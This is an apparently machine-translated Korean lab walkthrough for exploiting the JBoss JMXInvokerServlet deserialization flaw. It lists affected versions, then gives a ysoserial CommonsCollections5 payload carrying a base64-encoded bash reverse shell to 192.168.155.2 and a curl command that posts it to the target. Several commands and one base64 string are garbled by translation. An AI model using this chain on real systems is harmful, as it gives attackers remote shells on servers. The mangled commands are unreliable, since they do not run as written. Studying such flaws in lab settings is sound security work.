1. 취약점 설명:
JBoss의 /invoker/JMXInvokerServlet 경로는 외부 세계에 공개되어 있으며 JBoss의 jmx 구성 요소는 deserialization을 지원합니다. JBoss는 /invoker/JMXInvokerServlet 요청에서 사용자가 전달한 객체를 읽은 다음 Apache Commons Collections의 Gadgets를 사용하여 임의의 코드를 실행합니다.
2. 영향을 받는 버전
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 및 이전
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA 플랫폼(SOA-P) 5.3.1
JDG(JBoss 데이터 그리드) 6.5.0
BRMS(JBoss BRMS) 6.1.0
BPMS(JBoss BPMS) 6.1.0
JDV(JBoss 데이터 가상화) 6.1.0
FSW(JBoss Fuse Service Works) 6.0.0
EWS ) ) 2.1,3.0
3. 빌드 환경
cd vulhub\jboss\JMXInvokerServlet-deserialization
4. 취약점 확인:
8080/invoker/JMXInvokerServlet을 방문하여 다음 페이지(다운로드 파일)로 돌아가면 인터페이스가 열려 있고 이 인터페이스에 역직렬화 취약점이 있음을 나타냅니다.
다음 파일을 다운로드했습니다.
5. 취약점 재발
1.nc 모니터링 켜기
2. 직렬화된 데이터를 생성하고
도구를 사용하여 직렬화된 데이터를 생성합니다.
Bash -i> & /DEV/192.168.155.2/111 0> & 1
base64 Coding
YMFZACATASA+JIAVZGV2L3RJCC8XOTIUMTY4LJE1N S4ylzexmtegmd4mmq ==
so Payload:
Java -JAR YSOSORIAL.JAR CommonsCollections5 " 강타 -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i} " >exp.ser 이 명령을 실행하면
직렬화된 파일 exp가 로컬 데스크톱에 생성됩니다. .ser, cat을 사용하여 내용을 확인하세요.
그런 다음 생성된 exp를 추가 사용을 위해 JavaDeserH2HC-master 디렉터리에 복사합니다.
3. 리바운드 쉘
직렬화된 데이터를 사용하여 쉘
컬을 리바운드합니다. http://192.168.25.128:8080/invoker/JMXInvokerServlet --data-binary @exp.ser